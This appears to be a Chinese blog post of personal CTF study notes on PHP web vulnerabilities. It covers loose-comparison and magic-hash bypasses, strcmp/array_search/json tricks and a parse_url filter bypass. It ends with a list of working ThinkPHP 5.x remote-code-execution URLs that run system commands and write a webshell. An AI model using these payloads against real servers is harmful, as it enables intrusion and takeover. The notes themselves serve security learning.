最近一直在写CPU,好久没有看web相关的东西了,发现之前刷的题全忘了qaq…本文记录遇到的相关知识点.
辣鸡PHP
弱类型
php的'==='
与==
是截然不同的,===
会在判断前首先比较两变量类型,然后进行值的比较,但是==
则强制转换为相同的类型,然后进行比较.
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
举几个例子:
1 2 3 4 5 6 7
| <?php var_dump("admin"==0); var_dump("1admin"==1); var_dump("admin1"==1) var_dump("admin1"==0) var_dump("0e123456"=="0e4456789"); ?>
|
PHP手册里说:当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含 ‘.’ ‘e’ ‘E’并且其数值值在整形的范围之内该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0.
md5-hash碰撞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php if (isset($_GET['Username']) && isset($_GET['password'])) { $logined = true; $Username = $_GET['Username']; $password = $_GET['password'];
if (!ctype_alpha($Username)) {$logined = false;} if (!is_numeric($password) ) {$logined = false;} if (md5($Username) != md5($password)) {$logined = false;} if ($logined){ echo "successful"; }else{ echo "login failed!"; } } ?>
|
根据上面的原理我们可以发现假如md5的开头是0e,那么比较时会被当作科学计数法,直接gg.
1
| md5('240610708') == md5('QNKCDZO');
|
json绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $key ="*********"; if ($message->key == $key) { echo "flag"; } else { echo "fail"; } } else{ echo "~~~~"; } ?>
|
我们并不知道$key的值,但是当$message->key
为整数时,$key也会被转化为整数,因此构造payload如下:
array_search()绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php if(!is_array($_GET['test'])){exit();} $test=$_GET['test']; for($i=0;$i<count($test);$i++){ if($test[$i]==="admin"){ echo "error"; exit(); } $test[$i]=intval($test[$i]); } if(array_search("admin",$test)===0){ echo "flag"; } else{ echo "false"; } ?>
|
array_search()
这个函数在php Manual手册中写道:
1
| mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] );
|
在$haystack中查找$needle,若查到则返回index索引,第三个参数是选择是否开启严格比较.默认情况下比较模式为==
,因此payload如下:
同样in_array()也有此漏洞
strcmp()漏洞绕过php -v < 5.3
1 2 3 4 5 6 7 8 9 10 11
| <?php $password="***************" if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) { echo "Right!!!login success";n exit(); } else { echo "Wrong password.."; } ?>
|
strcmp会比较两个字符串,若两者相等则返回0,但是当两者的类型不同时,strcmp()会发生错误,但是仍然会判断其相等.因此我们可以传入password[]=xx
来进行绕过.
同样md5() sha1()等函数也存在类似漏洞.
switch绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php $a="4admin"; switch ($a) { case 1: echo "fail1"; break; case 2: echo "fail2"; break; case 3: echo "fail3"; break; case 4: echo "sucess"; break; default: echo "failall"; break; } ?>
|
原理与上类似,不再阐述.
函数的漏洞
parse_url()
1
| parse_url ( string $url [, int $component = -1 ] ) : mixed
|
该函数解析URL,并返回其组成部分。其返回值为一个关联数组。该函数常用于获取url中的相关字段。例如:
1 2
| $url=parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query);
|
通过这种方式拿到url中的GET value。但是在php5.4.7之前此函数存在漏洞,举个栗子:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $data = parse_url($_SERVER['REQUEST_URI']); var_dump($data); $filter=["cache", "binarycloud"]; foreach($filter as $f) { if(preg_match("/".$f."/i", $data['query'])) { die("Attack Detected"); } } ?>
|
正常情况下我们curl "127.0.0.1/a.php?/cache"
会被检测到,这个时候一个通用的绕过方式为:
1
| curl "127.0.0.1//a.php?/cache"
|
这时a.php?/cache
会被当作data[‘path’],而不再是query,导致绕过过滤。假如payload为///a.php?/cache
那么parse_url()会返回False,也可以绕过过滤。
Thinkphp5 rce
不再分析原理,直接总结payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| TP版本5.0.21: http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP版本5.0.22: http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP5.1.* thinkphp5.1.29为例
1、代码执行: http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、命令执行: http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
3、文件写入(写shell): http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、未知: http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、代码执行: http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、命令执行: http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
7、代码执行: http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、命令执行: http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
|
2019.1.11爆出的漏洞:
1 2 3
| index.php?s\captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
|
分析文章来自这里